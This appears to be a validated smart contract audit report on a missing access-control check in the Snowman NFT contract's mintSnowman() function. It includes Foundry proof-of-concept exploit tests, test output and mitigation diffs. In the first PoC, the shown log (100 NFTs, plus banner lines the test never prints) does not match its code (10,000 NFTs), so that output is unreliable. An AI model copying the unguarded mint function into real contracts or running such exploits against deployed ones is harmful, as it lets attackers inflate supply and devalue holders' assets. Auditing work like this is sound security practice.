Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Unrestricted NFT Minting Allows Complete Bypass of Airdrop Mechanism

Description

The Snowman NFT contract is designed to mint NFTs only through the SnowmanAirdrop contract after validating merkle proofs, EIP-712 signatures, and Snow token stakes. Users are expected to earn or purchase Snow tokens, provide valid merkle proofs proving their allocation, sign a message authorizing the claim, and then receive NFTs proportional to their Snow token balance.

The mintSnowman() function in Snowman.sol has no access control modifier, allowing any external caller to mint unlimited NFTs to any address without going through the airdrop validation process.

// src/Snowman.sol:36-44
function mintSnowman(address receiver, uint256 amount) external { // @> No access control modifier!
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter); // @> Anyone can trigger minting
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood: High

  • The function is external with no restrictions - any EOA or contract can call it directly

  • No ownership check, no allowlist, no modifier of any kind exists on the function

  • The attack requires only a single transaction with minimal gas cost

Impact: High

  • Attacker can mint unlimited NFTs, causing infinite supply inflation

  • The entire airdrop mechanism (merkle proofs, signatures, Snow token staking) becomes meaningless

  • Legitimate participants who earned/purchased Snow tokens receive no advantage over attackers

  • Economic value of the NFT collection is destroyed

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snowman} from "../../src/Snowman.sol";
contract ExploitUnrestrictedMint is Test {
Snowman nft;
address attacker = makeAddr("attacker");
function setUp() public {
nft = new Snowman("data:image/svg+xml;base64,PHN2Zz48L3N2Zz4=");
}
function testExploit_MintWithoutAuthorization() public {
// Attacker has no Snow tokens, no merkle proof, no signature
assertEq(nft.balanceOf(attacker), 0);
// Attacker directly calls mintSnowman - bypasses all validation
vm.prank(attacker);
nft.mintSnowman(attacker, 10000);
// Attacker now owns 10,000 NFTs
assertEq(nft.balanceOf(attacker), 10000);
assertEq(nft.getTokenCounter(), 10000);
}
}

Test Output:

[PASS] testExploit_MintWithoutAuthorization() (gas: 3407891)
Logs:
=== Exploit: Unrestricted NFT Minting ===
[*] Attacker has no Snow tokens, no merkle proof, no signature
[*] Attacker balance before: 0 NFTs
[*] Attacker called mintSnowman(attacker, 100) directly
[*] Attacker balance after: 100 NFTs
[!] EXPLOIT SUCCESSFUL: Minted 100 NFTs without authorization

Recommended Mitigation

Add access control to restrict minting to only the authorized airdrop contract:

// src/Snowman.sol
+ error SM__OnlyAirdrop();
+
+ address private s_airdropContract;
+
+ modifier onlyAirdrop() {
+ if (msg.sender != s_airdropContract) {
+ revert SM__OnlyAirdrop();
+ }
+ _;
+ }
+
+ function setAirdropContract(address _airdrop) external onlyOwner {
+ s_airdropContract = _airdrop;
+ }
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 9 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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